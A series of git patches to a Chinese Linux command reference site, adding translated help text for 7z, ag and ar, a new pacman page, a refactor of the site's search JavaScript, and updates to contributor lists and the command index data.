o2mRR3n1z)NTKmWUVF!%`PKe*f#pohP9N=&NUQ>hgJ(vss0q068GXMYp literal 0 HcmV?d00001 diff --git a/vercel.json b/vercel.json new file mode 100644 index 00000000000..2f553695681 --- /dev/null +++ b/vercel.json @@ -0,0 +1,3 @@ +{ + "outputDirectory": ".deploy" +} From ed0bad9bdd72d931361b4f13b081058456f32243 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E4=B8=9B=E6=9E=97=E6=84=8F=E5=BF=97?= Date: Mon, 24 Apr 2023 22:14:39 +0800 Subject: [PATCH 0670/1019] feat: add pacman.md & update 7z/ag/alias/ar/date document (#487) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * 添加 Pacman 指令 #224 * 补充 7z 简体中文网站 * 添加指向自由软件基金会的链接 * 翻译grub2-mkconfig.md * 增加 7z help 信息翻译 * 重新翻译 选项 一节 * 增加参考信息 * 简化文字 * 删除一些空格 * 重写 选项 一节 * 修复格式问题 * 使用本地 fdisk 指令重写文档选项章节 * 修改格式以符合其他项目要求 --- command/7z.md | 71 +++++++++++++++++++- command/ag.md | 98 +++++++++++++--------------- command/alias.md | 11 +--- command/apropos.md | 8 +-- command/ar.md | 134 ++++++++++++-------------------------- command/date.md | 6 +- command/diff.md | 22 +++---- command/exit.md | 2 +- command/fdisk.md | 35 +++++++--- command/fgrep.md | 14 ++-- command/git.md | 87 +++++++++++-------------- command/groupmems.md | 42 ++++++------ command/grub.md | 3 + command/grub2-mkconfig.md | 12 ++-- command/pacman.md | 50 ++++++++++++++ 15 files changed, 324 insertions(+), 271 deletions(-) create mode 100644 command/pacman.md diff --git a/command/7z.md b/command/7z.md index d466abe0e43..1d4d88c4d2c 100644 --- a/command/7z.md +++ b/command/7z.md @@ -42,7 +42,74 @@ apt-get install p7zip-full -y 7z l text.7z ``` -## 官网 +## help 信息翻译 + +```shell +使用方法： 7z <命令> [<开关>...] [...］ + +<命令> + a : 添加文件到存档 + b : 基准测试 + d : 从存档中删除文件 + e：从档案中提取文件（不使用目录名）。 + h：计算文件的哈希值 + i : 显示支持的格式信息 + l : 列出档案的内容 + rn : 重命名档案中的文件 + t : 测试档案的完整性 + u : 更新档案中的文件 + x : 提取完整路径的文件 + +<开关> + --：停止开关解析 + @listfile : 设置包含文件名的列表文件的路径 + -ai[r[-|0]]{@listfile|!wildcard} : 包括归档文件 + -ax[r[-|0]]{@listfile|!wildcard} : 排除档案。 + -ao{a|s|t|u} : 设置覆写模式 + -an : 禁用档案名称字段 + -bb[0-3] : 设置输出日志级别 + -bd : 禁用进度指示器 + -bs{o|e|p}{0|1|2}：设置输出/错误/进度行的输出流 + -bt : 显示执行时间统计 + -i[r[-|0]]{@listfile|！通配符} : 包括文件名 + -m{Parameters} : 设置压缩方法 + -mmt[N] : 设置CPU线程的数量 + -mx[N] : 设置压缩级别: -mx1 (最快) ... -mx9 (超强) + -o{Directory} : 设置输出目录 + -p{Password} : 设置密码 + -r[-|0] : 重新搜索子目录 + -sa{a|e|s} : 设置存档名称模式 + -scc{UTF-8|WIN|DOS}：设置控制台输入/输出的字符集。 + -scs{UTF-8|UTF-16LE|UTF-16BE|WIN|DOS|{id}}：设置列表文件的字符集。 + -scrc[CRC32|CRC64|SHA1|SHA256|*] ：为x、e、h命令设置哈希函数。 + -sdel : 压缩后删除文件 + -seml[.] : 通过电子邮件发送档案 + -sfx[{name}] : 创建SFX档案 + -si[{name}] : 从stdin读取数据 + -slp : 设置大型页面模式 + -slt : 显示l（List）命令的技术信息 + -snh : 将硬链接存储为链接 + -snl : 将符号链接存储为链接 + -sni : 存储NT安全信息 + -sns[-] : 存储NTFS备用流 + -so : 向stdout写数据 + -spd : 禁用文件名的通配符匹配 + -spe : 消除提取命令中根文件夹的重复。 + -spf : 使用完全合格的文件路径 + -ssc[-] : 设置敏感的大小写模式 + -ssw : 压缩共享文件 + -stl : 从最近修改的文件设置存档时间戳 + -stm{HexMask} : 设置CPU线程亲和力掩码（十六进制数字）。 + -stx{Type} : 排除存档类型 + -t{Type} : 设置存档的类型 + -u[-][p#][q#][r#][x#][y#][z#] [!newArchiveName] : 更新选项 + -v{大小}[b|k|m|g] : 创建卷册 + -w[{path}] : 指定工作目录。空的路径意味着一个临时目录 + -x[r[-|0]]{@listfile|!wildcard} : 排除文件名。 + -y : 假设所有的查询都是肯定的 +``` -更多安装使用方法可以访问官网学习：https://www.7-zip.org/ +## 官网 +更多安装使用方法可以访问官网学习： +或者可以访问简体中文网站： diff --git a/command/ag.md b/command/ag.md index 0471b3e3d11..47e29043a2f 100644 --- a/command/ag.md +++ b/command/ag.md @@ -5,8 +5,12 @@ ack 的升级版，C语言编写，更快更人性化 ## 补充说明 -**ag命令** 它比ack快一个数量级。它会忽略 .gitignore 和 .hgignore 中的文件模式。如果源代码库中有您不想搜索的文件，只需将它们的模式添加到 .ignore 文件即可。命令名称比 ack 短 33%，并且所有键都在 home 行！ -[Github-参考链接](https://github.com/ggreer/the_silver_searcher) +> 摘自 项目的 Readme.md + +- 它比ack快一个数量级。 +- 它忽略了你的 `.gitignore` 和 `.hgignore` 中的文件模式。 +- 如果你的源码库里有你不想搜索的文件，只要把它们的模式添加到一个.ignore文件里。(*cough* *.min.js*cough*) +- 这个命令的名字比ack短33%，而且所有的键都在主行上! ### 语法 @@ -18,79 +22,67 @@ ag [可选项] 匹配模式 [路径...] ### 选项 ```shell -Output Options: +输出选项: --ackmate 以 AckMate-parseable 的格式显示结果 -A --after [LINES] 显示匹配行之后的行（默认2行） -B --before [LINES] 显示匹配行之前的行（默认2行） --[no]break 不同文件中匹配到的内容新建一行显示（默认开启） - -c --count 只显示每个文件中匹配到的数量 - (This often differs from the number of matching lines) - --[no]color Print color codes in results (Enabled by default) - --color-line-number Color codes for line numbers (Default: 1;33) - --color-match Color codes for result match numbers (Default: 30;43) - --color-path Color codes for path names (Default: 1;32) - --column Print column numbers in results - --[no]filename Print file names (Enabled unless searching a single file) + -c --count 只显示每个文件中匹配到的数量 （通常与匹配行数不同） + --[no]color 在结果中打印颜色代码（默认启用） + --color-line-number 行号的颜色代码（默认值为：1;33）。 + --color-match 匹配结果的颜色代码（默认值为：30;43）。 + --color-path 路径名称的颜色代码（默认值为：1;32） + --column 打印结果中的列号 + --[no]filename 打印文件名（除非搜索单个文件，否则启用）。 -H --[no]heading 在每个文件匹配前输出文件名（默认开启） -C --context [LINES] 显示匹配行上下两行（默认2行） - --[no]group Same as --[no]break --[no]heading - -g --filename-pattern PATTERN - Print filenames matching PATTERN + --[no]group 和这些一样： --[no]break --[no]heading + -g --filename-pattern PATTERN 打印匹配PATTERN的文件名 -l --files-with-matches 显示包含匹配的文件名（不显示匹配的行） -L --files-without-matches 只显示不包含匹配项的文件名 - --print-all-files Print headings for all files searched, even those that - don\'t contain matches - --[no]numbers Print line numbers. Default is to omit line numbers - when searching streams + --print-all-files 打印所有搜索到的文件的标题，甚至那些不包含匹配的文件。 + --[no]numbers 打印行号。默认情况是在搜索流时省略行号。 -o --only-matching 只输出每行匹配的部分 - --print-long-lines Print matches on very long lines (Default: >2k characters) - --passthrough When searching a stream, print all lines even if they - don\'t match - --silent Suppress all log messages, including errors - --stats Print stats (files scanned, time taken, etc.) - --stats-only Print stats and nothing else. - (Same as --count when searching a single file) - --vimgrep Print results like vim\'s :vimgrep /pattern/g would - (it reports every match on the line) - -0 --null --print0 Separate filenames with null (for 'xargs -0') + --print-long-lines 在很长的行上打印匹配信息（默认：>2k字符）。 + --passthrough 当搜索一个流时，打印所有的行，即使它们不匹配。 + --silent 抑制所有的日志信息，包括错误 + --stats 打印统计（扫描的文件、花费的时间等）。 + --stats-only 打印统计信息，不打印其他信息（与搜索单个文件时的--计数相同）。 + --vimgrep 像vim的:vimgrep /pattern/g那样打印结果（它报告每一行的匹配结果） + -0 --null --print0 用null分隔文件名（用于'xargs -0'）。 -Search Options: +搜索选项: -a --all-types 搜索所有文件（包括隐藏文件） - -D --debug Ridiculous debugging (probably not useful) + -D --debug 可笑的调试（可能没有用） --depth NUM 目录搜索最大深度（默认25） -f --follow 跟随链接进行搜索 - -F --fixed-strings Alias for --literal for compatibility with grep + -F --fixed-strings 为了与grep兼容，--literal的别名。 -G --file-search-regex 根据正则匹配搜索指定类型的文件 - --hidden Search hidden files (obeys .*ignore files) - -i --ignore-case Match case insensitively - --ignore PATTERN Ignore files/directories matching PATTERN - (literal file/directory names also allowed) - --ignore-dir NAME Alias for --ignore for compatibility with ack. - -m --max-count NUM 在一个文件中最大匹配的数量(默认: 10,000) + --hidden 搜索隐藏文件 （但遵从 .*ignore 文件） + -i --ignore-case 不区分大小写匹配 + --ignore PATTERN 忽略匹配 PATTERN 的文件/目录（也允许使用文字文件/目录名称） + --ignore-dir NAME 为了与ack兼容，--ignore的别名 + -m --max-count NUM 在一个文件中最大匹配的数量（默认: 10,000） --one-device 不跟随其他设备的链接搜索 - -p --path-to-ignore STRING - Use .ignore file at STRING - -Q --literal Don\'t parse PATTERN as a regular expression - -s --case-sensitive Match case sensitively - -S --smart-case Match case insensitively unless PATTERN contains - uppercase characters (Enabled by default) + -p --path-to-ignore STRING 在STRING使用.ignore文件 + -Q --literal 不要将PATTERN解析为正则表达式 + -s --case-sensitive 敏感地匹配案例 + -S --smart-case 不区分大小写匹配，除非 PATTERN 包含大写字符 --search-binary 搜索二进制文件 -t --all-text 搜索所有文本文件（不包括隐藏文件） - -u --unrestricted 搜索所有文件 (忽略 .ignore, .gitignore, etc.; - 搜索二进制和隐藏文件) - -U --skip-vcs-ignores Ignore VCS ignore files - (.gitignore, .hgignore; still obey .ignore) + -u --unrestricted 搜索所有文件 （忽略 .ignore, .gitignore, 比如：搜索二进制和隐藏文件） + -U --skip-vcs-ignores 忽略VCS的忽略文件（指的是 .gitignore，.hgignore；仍然遵从.ignore）。 -v --invert-match 反向匹配 -w --word-regexp 只匹配整个单词 - -W --width NUM Truncate match lines after NUM characters + -W --width NUM 在NUM字符后截断匹配行 -z --search-zip 搜索压缩文件中的内容 -File Types: -The search can be restricted to certain types of files. Example: - ag --html needle 结果输出到指定类型文件 - - Searches for 'needle' in files with suffix .htm, .html, .shtml or .xhtml. +文件类型: +搜索可以限制在某些类型的文件中，例如: + ag --html needle 结果输出到指定类型文件 + - 在后缀为 .htm、.html、.shtml 或 .xhtml 的文件中搜索“needle” -For a list of supported file types run: +有关支持的文件类型的列表，可以运行: ag --list-file-types 列出支持的文件类型 ``` diff --git a/command/alias.md b/command/alias.md index 77e5f2b173c..55e3337de27 100644 --- a/command/alias.md +++ b/command/alias.md @@ -12,10 +12,7 @@ alias [-p] [name[=value] ...] ## 主要用途 - 简化较长的命令。 -- 定义一个或多个别名。 -- 修改一个或多个已定义别名的值。 -- 显示一个或多个已定义别名。 -- 显示全部已定义的别名。 +- 定义、修改或者显示一个或多个别名。 ## 选项 @@ -117,7 +114,5 @@ A：运行cd依然会切换目录，运行ls依然会列出文件夹的内容； ### 其他参考链接 -[Linux命令详解：\[8\]alias创建自己的命令](https://jingyan.baidu.com/article/ac6a9a5e6738422b653eac01.html) - - - +- [alias(1p) - Linux manual page](https://man7.org/linux/man-pages/man1/alias.1p.html) +- [Linux命令详解：\[8\]alias创建自己的命令](https://jingyan.baidu.com/article/ac6a9a5e6738422b653eac01.html) diff --git a/command/apropos.md b/command/apropos.md index 9ba1c7166cf..9fb8d3c4f65 100644 --- a/command/apropos.md +++ b/command/apropos.md @@ -5,7 +5,7 @@ apropos ## 补充说明 -**apropos命令** 在一些特定的包含系统命令的简短描述的数据库文件里查找关键字，然后把结果送到标准输出。  +**apropos命令** 在一些特定的包含系统命令的简短描述的数据库文件里查找关键字，然后把结果送到标准输出。 如果你不知道完成某个特定任务所需要命令的名称，可以使用一个关键字通过Linux apropos实用程序来搜索它。该实用程序可以搜索关键字并且显示所有包含匹配项的man页面的简短描述。另外，使用man实用程序和-k（关键字）选项，可以得到和用Linux apropos实用程序相同的结果（实际上是相同的命令）。 @@ -27,8 +27,8 @@ apropos [-dalhvV] -e|-[w|-r] [-s section] [-m system[,...]] [-M path] [-L locale -l, --long：不根据终端宽度缩减输出。 -s section, --section section：只查找指定的手册section。 -m system[,...], --systems=system[,...]：用于查找其它操作系统的手册页。 --M path, --manpath=path：指定从其它以冒号分隔的手册页层次查找。默认使用$MANPATH环境变量。这个选项覆盖$MANPATH的内容。 --L locale, --locale=locale：apropos调用C函数setlocale来得到当前本地化信息，包括$LC_MESSAGE和$LANG。使用该选项提供一个locale字符串来临时更改本地化信息。 +-M path, --manpath=path：指定从其它以冒号分隔的手册页层次查找。默认使用 $MANPATH 环境变量。这个选项覆盖 $MANPATH 的内容。 +-L locale, --locale=locale：apropos调用C函数setlocale来得到当前本地化信息，包括 $LC_MESSAGE 和 $LANG 。使用该选项提供一个locale字符串来临时更改本地化信息。 -C file, --config-file=file：使用这个用户配置文件而不是默认的~/.manpath。 -h, --help：打印帮助信息并退出。 -V, --version：打印版本信息并退出。 @@ -69,5 +69,3 @@ whoami (1) - print effective userid ```shell apropos -a emacs vi ``` - - diff --git a/command/ar.md b/command/ar.md index 6e5fb55f252..6b15af34b83 100644 --- a/command/ar.md +++ b/command/ar.md @@ -10,108 +10,54 @@ ar ### 语法 ```shell -ar [-]{dmpqrtx}[abcfilNoPsSuvV] [membername] [count] archive files... -Usage: ar [emulation options] [-]{dmpqrstx}[abcDfilMNoPsSTuvV] [--plugin ] [member-name] [count] archive-file file... - ar -M [] [member-name] [count] archive-file file... + ar -M [ 以下内容来自 GNU ar (GNU Binutils) 2.40 版本指令 ```shell ---plugin

    - load the specified plugin +命令： + d - 从归档文件中删除文件 + m[ab] - 在归档文件中移动文件 + p - 打印在归档文件中找到的文件 + q[f] - 将文件快速追加到归档文件中 + r[ab][f][u] - 替换归档文件中已有的文件或加入新文件 + s - 作为 ranlib 工作 + t[O][v] - display contents of the archive + x[o] - 从归档文件中分解文件 +特定命令修饰符： + [a] - 将文件置于 [成员名] 之后 + [b] - 将文件置于 [成员名] 之前 (于 [i] 相同) + [D] - 将 0 用于时间戳和 uid/gid（默认） + [D] - 使用实际时间戳和 uid/gid + [N] - 使用名称的实例 [数量] + [f] - 截去插入的文件名称 + [P] - 在匹配时使用完整的路径名 + [o] - 保留原来的日期 + [O] - display offsets of files in the archive + [u] - 只替换比当前归档内容更新的文件 +通用修饰符： + [c] - 不在必须创建库的时候给出警告 + [s] - 创建归档索引 (cf. ranlib) + [l ] - specify the dependencies of this library + [S] - 不要创建符号表 + [T] - deprecated, use --thin instead + [v] - 输出较多信息 + [V] - 显示版本号 + @ - 从 读取选项 + --target=BFDNAME - 指定目标对象格式为 BFDNAME + --output=DIRNAME - specify the output directory for extraction operations + --record-libdeps= - specify the dependencies of this library + --thin - make a thin archive +可选项： + --plugin

    ' + const replaceHTML = `$1` + let name = json.n + let des = json.d + let reg = new RegExp(`(${keywolds})`, "ig") if (keywolds) { - name = json.n.replace(reg, '' + "$1" + ""); - des = json.d.replace(reg, '' + "$1" + "") || ''; + name = json.n.replace(reg, replaceHTML); + des = json.d.replace(reg, replaceHTML) || ''; } - - var rootp = this.root_path.replace(/\/$/, ''); - str = islist ? '$name$ - $des$

    ' : '$name$ - $des$'; + let rootp = this.root_path.replace(/\/$/, ''); + const str = `$name$ - $des$${islist ? listHTML : ''}` return this.simple(str, { - name: name, + name, url: json.p, - des: des + des }); - }, - /** - * [searchResult ] - * @param {[type]} islist [是否为列表] - */ - searchResult: function (islist) { - var arr = this.commands, self = this, i = 0, - page_size = arr.length, - arrResultHTML = [], - resultData = [], - show_list_count = islist ? this.page_size : this.query_size; - var nameArr = [], desArr = []; - if (arr && arr.length && toString.call(arr).indexOf('Array') > -1) { - for (; i < page_size; i++) { + } + /**搜索结果 + * @param {boolean} islist 是否为列表*/ + searchResult(islist = false) { + let arr = this.commands + const self = this + let page_size = arr.length + let arrResultHTML = [] + const show_list_count = islist ? this.page_size : this.query_size; + let nameArr = [], desArr = []; + if (indexOfCatch(arr && arr.length && toString.call(arr).indexOf('Array'))) { + for (let i = 0; i < page_size; i++) { if (!arr[i]) break; - var nIdx = self.isSreachIndexOF(arr[i].n, self.query); - var dIdx = self.isSreachIndexOF(arr[i].d, self.query); - if (nIdx > -1) { - var json = arr[i]; + const nIdx = self.isSreachIndexOF(arr[i].n, self.query); + const dIdx = self.isSreachIndexOF(arr[i].d, self.query); + let json = arr[i]; + if (indexOfCatch(nIdx)) { json.nIdx = nIdx; nameArr.push(json); - } else if (dIdx > -1) { - var json = arr[i]; + } else if (indexOfCatch(dIdx)) { json.dIdx = dIdx; desArr.push(json); } } } - nameArr.sort(function (a, b) { - return a.nIdx - b.nIdx; - }); - desArr.sort(function (a, b) { - return a.nIdx - b.nIdx; - }); + nameArr.sort(sortArray); + desArr.sort(sortArray); - resultData = nameArr.concat(desArr); - resultData = resultData.slice(0, show_list_count); - for (i = 0; i < resultData.length; i++) { - arrResultHTML.push(self.createKeyworldsHTML(resultData[i], self.query, islist)); - } - var elm = islist ? this.elm_search_result : this.elm_result; - elm.innerHTML = ''; - for (var i = 0; i < arrResultHTML.length; i++) { - var myLi = document.createElement("LI"); - myLi.innerHTML = arrResultHTML[i]; - elm.appendChild(myLi); - } - if (arrResultHTML.length === 0) { - var myLi = document.createElement("LI"); - myLi.innerHTML = '' + this.query ? '请尝试输入一些字符，进行搜索！' + '' : '没有搜索到任何内容，请尝试输入其它字符！'; - elm.appendChild(myLi); + const resultData = nameArr.concat(desArr).slice(0, show_list_count); + resultData.forEach(a => { + arrResultHTML.push(self.createKeyworldsHTML(a, self.query, islist)); + }) + + /** @type {HTMLElement} */ + let elm = islist ? this.elm_search_result : this.elm_result; + elm.innerHTML = '' + arrResultHTML.forEach((result, i) => { + const el = document.createElement('li') + el.innerHTML = result + elm.appendChild(el); + }) + if (!arrResultHTML.length) { + const noResultTipHTML = document.createElement("LI"); + const tipSpan = document.createElement("span") + const nullQueryStringTips = `请尝试输入一些字符，进行搜索！` + const undefinedQueryTips = `没有搜索到任何内容，请尝试输入其它字符！` + tipSpan.innerText = this.query ? undefinedQueryTips : nullQueryStringTips + noResultTipHTML.appendChild(tipSpan); + elm.appendChild(noResultTipHTML); } - }, - // 选中搜索结果效果 - selectedResult: function (type) { - var items = this.elm_result.children; - var index = 0; + } + /** + * 移动搜索结果的光标 + * @param {"up"|"down"} type 触发事件类型 + * @memberof Commands + */ + selectedResult(type) { + /** @type {Array} */ + let items = this.elm_result.children; + let index = 0; for (var i = 0; i < items.length; i++) { if (items[i].className == 'ok') { items[i].className = ''; @@ -146,78 +195,73 @@ }; }; if (items[index]) items[index].className = 'ok'; - }, + } // 是否选中搜索结果 - isSelectedResult: function () { - var items = this.elm_result.children; - var isSel = false; - for (var i = 0; i < items.length; i++) { + isSelectedResult() { + let items = this.elm_result.children; + let isSel = false; + for (let i = 0; i < items.length; i++) { if (items[i].className == 'ok') { isSel = items[i]; break; }; }; return isSel; - }, - init: function () { - var self = this; - var kw = self.getQueryString('kw'); - var timer = null + } + init() { + /** + * 设定搜索结果的 CSS display 属性 + * + * @param {string} [inputDisplay='none'] + */ + function setdisplay(inputDisplay) { + self.elm_result.style.display = inputDisplay || 'none' + } + let self = this; + let kw = self.getQueryString('kw'); this.elm_query.value = kw; this.query = kw || ''; if (this.elm_search_result) self.searchResult(true); this.bindEvent(this.elm_query, 'input', function (e) { self.query = e.target.value; - self.pushState() if (self.query) { self.searchResult(); } else { - self.elm_result.style.display = 'none'; + setdisplay() } if (!self.elm_search_result) { - self.elm_result.style.display = self.query ? 'block' : 'none'; + setdisplay(self.query ? 'block' : 'none') } else { self.elm_btn.click(); } }) this.bindEvent(this.elm_btn, 'click', function (e) { - self.elm_result.style.display = 'none'; + setdisplay(); if (self.elm_search_result) self.searchResult(true); - else { - window.location.href = self.root_path + '/list.html#!kw=' + self.query; - } + else window.location.href = self.root_path + '/list.html#!kw=' + self.query; }) this.bindEvent(this.elm_query, 'focus', function (e) { self.searchResult(); - if (self.query) self.elm_result.style.display = 'block'; + if (self.query) setdisplay('block'); }) this.bindEvent(this.elm_query, 'blur', function (e) { - timer = setTimeout(function () { - self.elm_result.style.display = 'none'; + setTimeout(function () { + setdisplay(); }, 300) }) // 输入Enter键 this.bindEvent(document, 'keyup', function (e) { + if (e.keyCode === 40) self.selectedResult("down"); + if (e.keyCode === 38) self.selectedResult("up"); if (e.key == 'Enter') { - var item = self.isSelectedResult(); + let item = self.isSelectedResult(); if (!item) return self.elm_btn.click(); - if (item.children[0]) { - item.children[0].click(); - } - } else if (e.keyCode === 40) { - // ArrowDown - self.selectedResult() - } else if (e.keyCode === 38) { - // ArrowUp - self.selectedResult("up"); + if (item.children[0]) item.children[0].click(); } }) - if (kw) self.searchResult(); } } - new Commands() - })() \ No newline at end of file From f44641a1293e532ffa63f0fbe1ff64171b44a189 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 26 Apr 2023 05:49:39 +0000 Subject: [PATCH 0675/1019] doc: update README.md. --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 0cfcce49253..9bc6bbdf976 100644 --- a/README.md +++ b/README.md @@ -418,6 +418,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 ernest + + 丛林意志 + 谈笑风生间 @@ -703,9 +706,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 七朔 - - 丛林意志 - 孤城落寞 From 5726845467164c38822b202293c3e293a4ac8dae Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 26 Apr 2023 05:49:40 +0000 Subject: [PATCH 0676/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 61c1e260c93..648bd741ddc 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -66,6 +66,9 @@ ernest + + 丛林意志 + 谈笑风生间 @@ -351,9 +354,6 @@ 七朔 - - 丛林意志 - 孤城落寞 From 53373b0f1130d3833958be6b3907e9d9954e9cd2 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 26 Apr 2023 13:49:53 +0800 Subject: [PATCH 0677/1019] chore: renamed maintainers.md -> CONTRIBUTING.md #490 --- maintainers.md => CONTRIBUTING.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename maintainers.md => CONTRIBUTING.md (100%) diff --git a/maintainers.md b/CONTRIBUTING.md similarity index 100% rename from maintainers.md rename to CONTRIBUTING.md From a4270d84eaca058fd852c13bbe4c7e0d2945f3cd Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 26 Apr 2023 13:51:36 +0800 Subject: [PATCH 0678/1019] chore: update dist/data.json --- dist/data.json | 15 +++++++++++++++ dist/data.min.json | 2 +- 2 files changed, 16 insertions(+), 1 deletion(-) diff --git a/dist/data.json b/dist/data.json index 44787d5211f..873255bc473 100644 --- a/dist/data.json +++ b/dist/data.json @@ -854,6 +854,11 @@ "p": "/getenforce", "d": "显示当前SELinux的应用模式，是强制、执行还是停用" }, + "getent": { + "n": "getent", + "p": "/getent", + "d": "查询 DNS 名称服务器中的命名空间" + }, "getsebool": { "n": "getsebool", "p": "/getsebool", @@ -1754,6 +1759,11 @@ "p": "/openssl", "d": "强大的安全套接字层密码库" }, + "pacman": { + "n": "pacman", + "p": "/pacman", + "d": "Arch Linux 系统极其衍生系统中默认使用的包管理器" + }, "parted": { "n": "parted", "p": "/parted", @@ -1949,6 +1959,11 @@ "p": "/pwd", "d": "显示当前工作目录的绝对路径。" }, + "pwdx": { + "n": "pwdx", + "p": "/pwdx", + "d": "用于显示指定进程的当前工作目录" + }, "pwunconv": { "n": "pwunconv", "p": "/pwunconv", diff --git a/dist/data.min.json b/dist/data.min.json index 2d0cb83064c..2c2900a7e14 100644 --- a/dist/data.min.json +++ b/dist/data.min.json @@ -1 +1 @@ -{"7z":{"n":"7z","p":"/7z","d":"拥有极高压缩比的开源压缩软件。"},"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"ag":{"n":"ag","p":"/ag","d":"ack 的升级版，C语言编写，更快更人性化"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for，while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"可解压缩.bz2格式的压缩文件。 "},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"不解压，直接查看指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/cloc